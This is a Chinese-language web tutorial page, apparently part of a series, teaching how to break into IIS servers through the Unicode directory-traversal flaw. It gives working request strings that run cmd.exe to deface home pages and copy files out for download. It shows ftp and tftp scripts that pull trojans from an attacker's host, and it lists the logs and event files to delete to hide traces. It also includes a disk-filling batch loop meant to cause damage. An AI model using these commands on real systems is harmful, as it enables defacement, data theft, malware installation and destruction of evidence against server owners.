WEB开发网
开发学院数据库MSSQL Server 网络黑人及防黑的基础知识 阅读

网络黑人及防黑的基础知识

 2007-11-11 07:02:44 来源:WEB开发网   
核心提示: 三,实战演练 1,网络黑人及防黑的基础知识(2),修改主页!(是不是很爽?) 一般主页位置在c:inetpubwwwroot下,但要是改了路径, :)请检查检查再检查命令的正确性,可能没有漏洞,就需要找找了, 最方便的方法:在浏览器里输入 http://11.11.22.22/.ida要是有漏洞

  三,实战演练

1,修改主页!(是不是很爽?)

一般主页位置在c:inetpubwwwroot下,但要是改了路径,就需要找找了。

最方便的方法:在浏览器里输入 http://11.11.22.22/.ida要是有漏洞,那在浏览器里便会显示主页路径,这个漏洞存在率很高,自然是我们的首选。

分析法:用dir看各个盘符的根目录,看可疑的就进去看,运气好的在一分钟里找到,这要看运气和直觉。

dir/s法:首先在看其主页,找个图片或连接,看它的文件名,比如,11.11.22.22首页上有一幅图片,右击,属性,看到了吗?iloveu.gif,然后我们利用unicode输入这条命令dir c:iloveu.gif /s意味着查找c盘下所有目录里的iloveu.gif,注意实际应用时别忘了把空格改为+,如果没有继续找d盘,很快就能确定主页目录的。

找到了目录,就要对它开刀了!一般默认收页为index.htm,index.html,index.asp,default.htm,defautl.html,default.asp中的一个,现在我们确定11.11.22.22中为index.htm

那么我们就修改它吧!

最方便的方法:echo法。echo是一个系统命令,主要用于设置回应开关,而echo cshu >c:autoexe.bat就是把cshu加入autoexec.bat里并删除原有内容,echo cshunice >>c:autoexec.bat就是加入cshunice但不删除原有内容,这样我们就可以逍遥的改了。

11.11.22.22/scripts/..%c1%1c../winnt/system3

2/cmd.exe?/c+echo+

hackedbycshu+>c:inetpubwwwrootindex.htm

回应为:HTTP 500 - 内部服务器错误

通过对cmd的分析,袁哥得出一条简便的方法,加入"符号

11.11.22.22/scripts/..%c1%1c../wi

nnt/system32/cmd".exe?/c+ec

ho+hackedbycshu+>c:inetpubwwwrootindex.htm

11.11.22.22/scripts/..%c1%1c../w

innt/system32/cmd".exe?/c+echo+

2001730+>>c:inetpubwwwrootindex.htm

回应为:cgi错误,不用理会

两条命令一下,呵呵,再看看11.11.22.22,是不是烙上我们的大名了?不错吧

而在实际操作中,可能袁哥的方法也会失效,这时,我们就可以copy cmd.exe 为另一个exe,记住路径,用copy后的来echo

例如:11.11.22.22/scripts/..%c1%1c../winnt/system32

/cmd.exe?/c+copy+cmd.exe+c:a.exe

11.11.22.22/scripts/..%c1%1c../a.exe?/c+echo+

hackedbycshu+>c:inetpubwwwrootindex.htm

2,上传法:echo有点不讲道理,把人家的文件破坏了,要是想在主页上增光添彩,那就应该用改好的主页上传,这个我们后面介绍。

几点忠告:

1,对于没有主页的机器(就是正在建立的主页),不要改它,这很没水准,也很没道德

2,echo前记得帮他们做好备份

3,不准在主页里加入恶性语句

2,下载文件

要是有什么有用的文件被你发现,那我们如何下载呢?

最简单的方法:把文件copy至网页目录下。copy c:emailaby.eml c:inetpubwwwrootaby.zip,然后,下载11.11.22.22/baby.zip就行了,注意!实际应用中要记得对文件名进行修改,总之不能暴露。

别的方法:对不起,没想好:)


  3,最重要的上传

一般方法:ftp法

首先建一个ftp脚本文件:c:hehe.haha(名字乱?眩昵胍桓鰂tp账号,然后用echo吧

echo+open ftp.cshu.com(ftp主机) > c:hehe.haha

echo+user yourname >> cc:hehe.haha (yourname是用户名)

echo+yourpasswd >> c:hehe.haha (yourpasswd是密码)

echo+get setup.exe >> c:hehe.haha 要下载的文件

echo+quit >> c:hehe.haha

完了以后:ftp+/s:c:hehe.haha,由于是ftp主机,那么速度一定很快,过一会setup.exe就会出现在当前目录了(也就是cmd所在目录)

别忘了先上传到ftp主机,不要做马大哈哦!

最简单的方法:tftp法。

这种方法不用中转服务器,首先准备一个tftp服务端,它的作用就是把你的机器做成一个tftp服务器,利用漏洞机器来下载(注意,运行tftp时不要运行其他的ftp软件)

在这里我推荐cisco tftp server,自己去找找把,实在没有来找我:)

安装好后运行,别忘了设置好默认目录,否则会找不到文件

tftp命令:tftp -i 1.2.3.4 GET ihateu.exe c:winntihateu.exe(ihateu.exe在默认目录里)

1.2.3.4为你的ip,用unicode运行一下,会看到tftp server里有反应了,这就好了,不一会,文件就传上去了,方便把!

学会了上传,我们就可以好好改主页,还可以上传木马,还可以把程序放上去运行…………(运行程序和在dos里一样)

4,如何清除痕迹

虽然国内主机纪录ip的不是很多,但万事小心为妙,unicode权限达不到admin。用cleaniislog行不通,就…………直接删吧!

C:winntsystem32logfiles*.*

C:winntssytem32config*.evt

C:winntsystem32dtclog*.*

C:winntsystem32*.log

C:winntsystem32*.txt

C:winnt*.txt

C:winnt*.log

全……擦掉!


  四,细节问题。

1,遇到长文件名怎么办?

c:program files

就用c:"program20%files"

2,遇到空格怎么办?

20%代替喽,或者xx yy=xxyy~1

3,如何做个很大的文件?

目的就是破坏啦!我不喜欢不过教教你们啦

@echo off

echo big > c:a.a

:h

copy c:a.a+c:a.a c:a.a

goto h

注意不要乱来啊!

4,输入命令,没反应或反应不对。

:)请检查检查再检查命令的正确性,可能没有漏洞,那就闪人!看在你看到这里那么给我面子的份上,在给你几个吧!

http://www.exsample.com/scripts/..À¯..À¯..À¯..À¯

../winnt/system32/cmd.exe?/c+dir+c :

或http://www.exsample.com/msadc/..%c0%af..%c0%af..

%c0%af../winnt/system32/cmd.exe?/c+dir+c:

或http://www.exsample.com/_vti_bin/..%c0%af..%c0%a

f..%c0%af../winnt/system32/cmd.exe?/c+dir+c:

或http://www.exsample.com/_mem_bin/..%c0%af..

%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:

不一定有用哦!

上一页  1 2 3 4  下一页

Tags:网络 黑人 基础知识

编辑录入:coldstar [复制链接] [打 印]
赞助商链接